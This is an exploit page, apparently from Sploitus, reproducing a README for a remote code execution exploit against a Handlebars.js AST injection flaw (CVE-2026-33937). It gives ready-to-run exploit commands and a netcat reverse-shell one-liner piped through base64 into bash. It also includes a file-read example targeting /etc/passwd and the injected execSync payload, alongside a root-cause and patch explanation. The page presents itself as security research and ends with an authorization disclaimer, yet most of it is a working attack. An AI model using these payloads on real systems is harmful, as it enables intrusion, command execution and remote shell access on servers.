Sploitus

Exploit for Type Confusion in Handlebarsjs Handlebars

githubexploit Β· 2026-08-03

Exploit Code

README132 lines
## https://sploitus.com/exploit?id=3CAFEB7E-7342-5F8B-BEB3-DE089D38BB8F
# CVE-2026-33937 β€” Handlebars.js AST Injection RCE

Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical.

---

## Overview

CVE-2026-33937 is a type confusion vulnerability in Handlebars.js. The `Handlebars.compile()` function accepts both a template string and a pre-parsed AST object as input. When an attacker passes a crafted AST object, the compiler's `NumberLiteral` visitor inserts the node's `value` field verbatim into the generated JavaScript function body without any sanitization. Calling `render()` on the result executes attacker-controlled code inside the Node.js process.

---

## Usage

```bash
python3 exploit.py --url   --username  --password  --command  
```

**Arguments**

- `--url` β€” Base URL of the target, e.g. `http://hello.veer/` (required)
- `--username` β€” Login email address (required)
- `--password` β€” Login password (required)
- `--command` β€” OS command to execute, default is `id` (optional)

**Examples**

```bash
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id

# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'

# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc  4444 >/tmp/f' | base64 -w 0

python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo   | base64 -d | bash'
```
---

## How It Works

### Step 1 β€” Authentication

The script performs a full login before exploiting. It first sends a GET request to `/login` to scrape the hidden `_csrf` token from the form, then submits that token along with the provided email and password as a form-encoded POST to `/login`. On success the server returns a 302 redirect to `/dashboard` and sets the `dz.sid` session cookie which is used for all subsequent requests.

A fresh CSRF token is fetched automatically before each POST request because the app's CSRF middleware requires one on every mutating operation.

### Step 2 β€” Injection Point

The application exposes `POST /character` which accepts `Content-Type: application/json`. This route creates a new D&D character and, when `campaign_id` is provided, passes the `campaign_message` field directly to `Handlebars.compile()` on the server:

```js
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message);  // no type check
const output = render({ name, race, class });          // payload executes here
// output is stored as a campaign log entry
```

When the request body is JSON, `campaign_message` can be a nested object (the AST) rather than a string, bypassing any form-layer string validation. The `campaign_id` field causes the server to store the rendered result as a campaign log message, which is then readable at `GET /campaign/1` β€” giving the attacker out-of-band command output.

### Step 3 β€” AST Payload

The exploit uses the NumberLiteral combined with the `lookup` helper.

Normal compilation of `{{lookup this 1}}` produces:

```js
env.helpers.lookup(this, 1, {options})
```

The injected `NumberLiteral.value` replaces the `1` with:

```js
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
```

The emitted JavaScript becomes:

```js
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// 
```

When `render()` is called, `execSync()` fires and its stdout is returned as the expression value, which is stored as the campaign message.

Commands are wrapped internally as `/bin/sh -c 'cmd 2>&1'` so that commands with spaces, pipes, and redirects work correctly and stderr is captured alongside stdout.

### Step 4 β€” Output Extraction

The script records the number of campaign messages before sending the payload. After the POST it fetches `/campaign/1` again and slices `messages[before_count:]` to isolate the newly added entry. This approach correctly handles cases where the same command has been run before, since a set-based comparison would deduplicate identical outputs and miss the new result.

---

## Technical Root Cause

Inside Handlebars.js `javascript-compiler.js`, the vulnerable code is:

```js
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
    this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
}
```

Version 4.7.9 adds a type check at the `compile()` entry point that rejects any non-string input before the code generator is ever reached:

```js
// Patched in 4.7.9
if (typeof input !== 'string') {
    throw new Handlebars.Exception(
        'You must pass a string or Handlebars AST to Handlebars.compile.'
    );
}
```

---

## References

- CVE-2026-33937 PoC by dinhvaren: https://github.com/dinhvaren/cve-2026-33937
- Handlebars.js: https://handlebarsjs.com
- Handlebars GitHub: https://github.com/handlebars-lang/handlebars.js

---

## Disclaimer

This repository is intended solely for security research and education. Only use this exploit against systems you own or have explicit written authorization to test.